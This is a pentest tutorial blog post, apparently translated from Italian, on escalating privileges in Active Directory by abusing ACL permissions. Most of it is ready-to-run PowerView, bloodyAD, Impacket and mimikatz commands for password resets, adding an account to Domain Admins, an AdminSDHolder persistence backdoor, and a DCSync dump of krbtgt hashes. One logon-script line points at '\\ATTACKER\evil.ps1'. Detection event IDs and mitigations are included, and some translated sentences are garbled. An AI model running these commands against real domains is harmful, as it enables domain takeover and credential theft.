windows

ACL Abuse Active Directory: GenericAll, WriteDACL and DCSync

ACL Abuse Active Directory: GenericAll, WriteDACL and DCSync

Guide to ACL abuse in Active Directory: GenericAll, WriteDACL, reset password, RBCD and DCSync with BloodHound, PowerView, bloodyAD and Impacket.

  • Posted on 2026-07-13
  • Reading time: 8 min

ACL Abuse in Active Directory: Permissions, Escalation and DCSync #

In Active Directory, every object has a Security Descriptor that contains a DACL—the list of rules that defines who can do what on that object. Permissions like GenericAll , WriteDACL , or ForceChangePassword assigned to the wrong users open escalation paths directly to the Domain Admin—without exploits, without software vulnerabilities, just by abusing the existing configuration.


ACL abuse is among the most common escalation paths in pentests. Active Directory Enterprise. They don't require initial privileged credentials—excessive permissions on AD objects, often assigned years in advance for operational reasons and never removed, are sufficient. blood hound displays them as edges in the graph: GenericWrite, WriteDACL, ForceChangePassword, Owns — each is a potential path upward.

Key Takeaway: A single excessive permission on an AD object can be enough to reach Domain Admin. The typical chain is: user/group permission → password reset or addition to a privileged group → full escalation.

There is no single MITRE ATT&CK technique that covers all ACL abuse in AD. The most relevant entries are T1003.006 (DCSync) for dumping via replication and T1098.007 (Additional Local or Domain Groups) for adding to privileged groups. A useful data component for detection: Active Directory Object Modification ( DC0066 ).


Fundamentals: Security Descriptor, DACL, SACL and ACE #

Before abusing a permission, it's important to understand what generates it. Each AD object has a Security Descriptor composed of:

  • Owner of — who owns the object (can always rewrite the DACL)
  • DACL (Discretionary ACL) — access rules: who can read, write, delete
  • SACL (System ACL) — auditing rules: which actions are logged

The DACL is a list of ACEs (Access Control Entries). Each ACE is a triplet: trustee (SID), type (Allow/Deny), and right (e.g., WriteDACL). ACEs can be explicit (assigned directly on the object) or inherited (coming from a parent container, such as an OU ).

Security Descriptor, DACL, SACL

Windows evaluates ACEs in a specific order: explicit Deny comes before explicit Allow, and explicit ACE comes before inherited ones. This explains why a "theoretically present" right may not work in practice—a more specific Deny can block it.


Cheat Sheet — From ACE to Exploit #

ACE what do you haveOn what objectWhat can you doQuick command
GenericAllUserReset password, SPN, Shadow CredsSet-DomainUserPassword
GenericAllGroupAdd yourself (AddMember)Add-DomainGroupMember
GenericAllDesktopRBCDimpacket-rbcd -action write
GenericWriteUserWriteSPN → Kerberoast, Shadow CredentialsSet-DomainObject -Set @{serviceprincipalname='x/y'}
GenericWriteDesktopWriteAccountRestrictions → RBCDimpacket-rbcd -action write
WriteDACLDomainGrant yourself DCSync rightsAdd-DomainObjectAcl -Rights DCSync
WriteDACLAnyTreat yourself to GenericAllAdd-DomainObjectAcl -Rights All
WriteOwnerAnyTake ownership → WriteDACLSet-DomainObjectOwner
ForceChangePasswordUserReset password without knowing itSet-DomainUserPassword
AllExtendedRightsUserReset passwordSet-DomainUserPassword
Self / AddSelfGroupAdd yourself (only you)Add-ADGroupMember -Members attacker
GenericAll / WriteDACLOUAdding inheritable ACEs on child objectsdacledit.py -inheritance
WriteDACLAdminSDHolderPersistent backdoor (SDProp every hour)Add-DomainObjectAcl -TargetIdentity AdminSDHolder -Rights All

Enumeration: How to Find Abusive Permits #

powershell
# PowerView — ACL del tuo account su tutti gli oggetti
$SID = ConvertTo-SID $env:USERNAME
Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.SecurityIdentifier -eq $SID -and
    $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AllExtendedRights"
}
bash
# bloodyAD — trova tutti gli oggetti su cui hai diritti di scrittura effettivi
bloodyAD --host <DC_IP> -d corp.local -u attacker -p 'Password123!' \
  get writable --detail

# bloodyAD — analizza la DACL di un target specifico (risolvendo i SID)
bloodyAD --host <DC_IP> -d corp.local -u attacker -p 'Password123!' \
  get object targetuser --attr nTSecurityDescriptor --resolve-sd

They are two different commands: get writable list what you can actually write, get object --attr nTSecurityDescriptor --resolve-sd shows the full DACL of a specific object.

Attention: The PowerView query only finds ACEs assigned directly to your SID. It does not cover permissions obtained through groups, nested groups, Authenticated Users o Domain UsersA permit can exist without appearing in this search — blood hound It solves the problem by calculating effective rights across the entire group chain. Load the data with SharpHound and use the predefined queries "Shortest Paths to Domain Admins" or "Find Principals with DCSync Rights."


ACE for ACE: What You Can Do #

Self / AddSelf to Group #

With the AddSelf edge, you can only add yourself to the target group — not other accounts.

powershell
Add-ADGroupMember -Identity 'TargetGroup' -Members attacker
bash
net rpc group addmem "TargetGroup" attacker \
  -U 'corp.local/attacker%Password123!' -S <DC_IP>

Verify:

powershell
Get-DomainGroupMember -Identity 'TargetGroup'

AdminSDHolder — Cascading Persistence #

AdminSDHolder It's a special container in AD. Every hour or so the process SDProp copies its ACLs to all protected objects in the domain — Domain Admins, krbtgt, Administrator, and others. If you have WriteDACL On AdminSDHolder, you can inject a backdoor that self-propagates on every cycle to all privileged objects in the domain.

powershell
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=corp,DC=local' `
  -PrincipalIdentity attacker -Rights All -Verbose

# La propagazione avviene al successivo ciclo SDProp (di norma ogni 60 minuti)

Removing permission from AdminSDHolder does not automatically remove permissions already propagated to child objects — separate cleanup is required on each affected object.


GenericAll on User #

With GenericAll, you have complete control over the user object. You can reset the password, add an SPN for targeted Kerberoasting , or configure Shadow Credentials.

powershell
# Reset password senza conoscere quella attuale
$NewPass = ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPass

# Aggiunta SPN per targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser targetuser | Get-DomainSPNTicket -OutputFormat Hashcat

# Cleanup — rimuovi SOLO l'SPN aggiunto, mai -Clear
Set-DomainObject -Identity targetuser -Remove @{serviceprincipalname='fake/spn'}

-Clear delete the entire attribute servicePrincipalNameIf the account already had legitimate SPNs, delete them all and risk interrupting service. Always use -Remove with the exact value added, and read/save the original attribute before editing it.

bash
net rpc password targetuser 'Hacked123!' -U 'corp.local/attacker%Password123!' -S <DC_IP>

Verify:

powershell
Get-DomainUser targetuser -Properties serviceprincipalname

GenericWrite on User #

GenericWrite immense This is equivalent to full control and does not automatically grant a password reset. It allows you to modify writable attributes that can be used as servicePrincipalName (WriteSPN), msDS-KeyCredentialLink (Shadow Credentials) and, when applicable, scriptPath.

powershell
# Logon script — esegui codice al prossimo login dell'utente
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\ATTACKER\evil.ps1'}

# SPN → targeted Kerberoasting (stessa tecnica di GenericAll, ma qui il diritto è solo GenericWrite)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}

GenericAll on Group #

You can add any account to the group — including Domain Admins ( AddMember , unlike AddSelf which limits you to yourself).

powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
Get-DomainGroupMember -Identity 'Domain Admins'
bash
bloodyAD --host <DC_IP> -d corp.local -u attacker -p 'Password123!' \
  add groupMember 'Domain Admins' attacker

GenericAll / GenericWrite on Computer → RBCD #

Direct path towards RBCD via the edge WriteAccountRestrictions - you write msDS-AllowedToActOnBehalfOfOtherIdentity and impersonates Administrator on the machine.

Prerequisite: You need to control a principal with your own Kerberos keys—typically a computer account whose credentials you know or that you created yourself (e.g., via MachineAccountQuota). Just having access to the target computer doesn't create this principal; you need to procure one separately.

bash
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'TARGETPC$' \
  -dc-ip <DC_IP> -action write 'corp.local/attacker:Password123!'

Verify:

powershell
Get-ADComputer TARGETPC -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

WriteDACL on Domain → DCSync #

With WriteDACL on the domain object you can grant yourself replication permissions and do DCSyncBoth extended rights are needed. DS-Replication-Get-Changes e DS-Replication-Get-Changes-All.

powershell
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' `
  -PrincipalIdentity attacker -Rights DCSync -Verbose

.\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt"

# Cleanup immediato
Remove-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' `
  -PrincipalIdentity attacker -Rights DCSync
bash
# Backup EFFETTIVO del Security Descriptor prima di modificare — non basta "read"
impacket-dacledit -action backup -file domain-before-dcsync.bak \
  -target-dn 'DC=corp,DC=local' -dc-ip <DC_IP> \
  'corp.local/attacker:Password123!'

# Scrivi il diritto DCSync
python3 dacledit.py -action write -rights DCSync -principal attacker \
  -target-dn 'DC=corp,DC=local' -dc-ip <DC_IP> 'corp.local/attacker:Password123!'

impacket-secretsdump corp.local/attacker:Password123!@<DC_IP> -just-dc-user krbtgt

# Cleanup — ripristina il backup invece di rimuovere manualmente
impacket-dacledit -action restore -file domain-before-dcsync.bak \
  -dc-ip <DC_IP> 'corp.local/attacker:Password123!'

WriteDACL on Object → GenericAll #

powershell
Add-DomainObjectAcl -TargetIdentity targetuser `
  -PrincipalIdentity attacker -Rights All
bash
python3 dacledit.py -action write -rights FullControl -principal attacker \
  -target-dn 'CN=targetuser,CN=Users,DC=corp,DC=local' \
  -dc-ip <DC_IP> 'corp.local/attacker:Password123!'

WriteOwner → Ownership → WriteDACL → GenericAll #

powershell
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity attacker -Rights All

ForceChangePassword #

Resetting your password without knowing your current one. More straightforward but also more noisy—the user notices it the first time they fail to log in.

Do not use reset on real accounts without explicit authorization: the previous password is not recoverable if it is not known, and the reset may interrupt services, sessions, and processes running on the account.

powershell
$NewPass = ConvertTo-SecureString 'Hacked123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $NewPass
bash
bloodyAD --host <DC_IP> -d corp.local -u attacker -p 'Password123!' \
  set password targetuser 'Hacked123!'

GenericAll / WriteDACL on OU → Cascading Compromise #

Check aOU It's not like controlling the individual objects inside it: you need an ACE heritable that it spreads to the children - to add it you need WriteDACL or complete control GenericAll; GenericWrite alone is not enough because it does not touch the DACL. With CreateChild/DeleteChild You can also create or delete objects in the OU, and if the OU has GPOs attached, WriteGPLink or GenericWrite on the GPO itself opens an alternative path via Group Policy.

bash
python3 dacledit.py -action write -rights FullControl -inheritance \
  -principal attacker -target-dn 'OU=SERVERS,DC=corp,DC=com' \
  -dc-ip <DC_IP> 'corp.local/attacker:Password123!'

Modern Granular Edges by BloodHound #

BloodHound CE no longer uses just historical macro-rights — it distinguishes specific edges that indicate exactly what you can do:

EdgeMeaning
AddMemberCan add arbitrary principals to a group
AddSelfHe can only add himself
ForceChangePasswordYou can reset your password
WriteSPNCan modify SPNs
AddKeyCredentialLinkCan set up Shadow Credentials
WriteAccountRestrictionsCan configure RBCD path
WriteGPLinkCan edit GPO link on OU/domain
GetChanges + GetChangesAllCombined, they produce the DCSync edge

Note: GetChanges DCSync alone is not enough — it needs to be combined with GetChangesAll.


Backup, Verify and Restore #

Don't just "remove permissions later" — follow a repeatable procedure that uses a real backup, not just reading:

  1. Perform an actual backup of the Security Descriptor (impacket-dacledit -action backup -file ...)
  2. Record the exact DN, trustee and type of ACE added
  3. Apply only the necessary right, never more than required
  4. Verify the abuse with a read command (see verification technique)
  5. Restore backup (-action restore) instead of manually removing the ACE
  6. Check that existing ACE and attributes have not been altered

Laboratory Environment #

Commands should always be verified against the actual installed versions — the syntax and behavior of these tools change between releases.

text
Windows Server: 2022
Functional level: 2016
Impacket: [versione realmente utilizzata]
bloodyAD: [versione realmente utilizzata]
BloodHound CE: [versione realmente utilizzata]
SharpHound: [versione realmente utilizzata]
PowerView: [repository e commit realmente utilizzati]

OPSEC #

  • Mandatory cleanup: Every ACL change leaves traces. Restore the Security Descriptor backup after you've got what you need.
  • WriteDACL → DCSync: Add rights, dump, restore backup immediately — exposure time should be minimal
  • ForceChangePassword: Do not use on real accounts without explicit authorization — the previous password is not recoverable and resetting may interrupt services and active sessions.
  • ACL changes can be tracked when Advanced Audit Policy and SACL are configured correctly — don't assume every write is logged.

Real Scenario #

BloodHound shows that your account has WriteDACL on the domain object DC=corp,DC=localThe path to DCSync is direct:

  1. Perform an actual backup of the Security Descriptor with impacket-dacledit -action backup
  2. You give yourself DS-Replication-Get-Changes e DS-Replication-Get-Changes-All
  3. Run impacket-secretsdump and dump all the hashes of the included domain krbtgt
  4. Restore backup with -action restore
  5. With the hash of krbtgt forge a Golden Ticket for persistence

The flow does not require initial Domain Admins membership, but assumes that the controlled account already has WriteDACL on the domain object—an extremely powerful right in itself, not a trivial privilege to obtain.


Detection #

🔴 HIGH:

  • Event ID 5136 — change to sensitive attributes such as nTSecurityDescriptor, member, msDS-AllowedToActOnBehalfOfOtherIdentity
  • Event ID 4662 — operation performed on an AD object; central to detecting replication requests (DCSync) from hosts that are not Domain Controllers
  • Event ID 4670 — change permissions on AD objects
  • Event ID 4728 / 4732 / 4756 — add member to global, domain-local, universal group respectively

🟡 MEDIUM:

  • Quickly modify and remove ACLs on the same object in a short time (post-exploit cleanup pattern)
  • Non-privileged accounts modifying attributes on sensitive objects
  • DCSync requests from accounts that are not Domain Controllers

Important note: Events 5136 and 4662 are not generated automatically. They require a properly configured Advanced Audit Policy and an appropriate SACL for the affected objects. Enabling Security Log collection alone does not guarantee that all changes will be logged.


Mitigation #

  • Periodic audit of ACLs with blood hound — remove all unjustified permissions on sensitive objects
  • Properly configure Advanced Audit Policy and SACL on high-value objects, not just enable the Security Log
  • Use AdminSDHolder correctly — automatically protects privileged groups, but periodically checks that it does not contain unwanted ACEs
  • Principle of least privilege on service accounts and delegations — periodically review who has WriteDACL or GenericWrite on domain objects
  • Alerts on Event IDs 4662, 4670, and 5136 for high-value objects (Domain Admins, krbtgt, root domain)

FAQ #

BloodHound shows an ACL path but I can't exploit it—why? Common causes: The ACE is applied to the wrong object or attribute, a more specific Deny ACE exists, the right is only inheritable but not applied to the current object, AdminSDHolder/SDProp has overridden permissions, the Kerberos token is not updated after a group change, or DC replication hasn't completed yet.

Do I need to have a domain account to exploit ACL abuse? Yes, you need at least one authenticated account in the domain to read and modify ACLs. ACL abuse is an escalation technique, not an initial access technique.

Is ACL cleanup always possible? If you've made a real backup of the Security Descriptor, you can restore it. The problem is the time window between modification and restoration—during which the logs, if auditing is configured, record both operations.


Conclusion #

ACL abuse is often the quietest way to escalate privileges in Active Directory—it doesn't generate abnormal network traffic, doesn't exploit software vulnerabilities, and uses the same legitimate administration APIs. Every excessive permission on an AD object is a potential path to escalation.

Defense requires visibility: without an Advanced Audit Policy configured and alerting on Event IDs 4662, 5136, and 4670, these attacks go completely undetected. BloodHound is the best tool for both offense and defense—whoever uses it first wins.


Resources:

#privilege escalation #acl abuse #dacl #genericalcall #writedacl

leave a message

I'm not a robot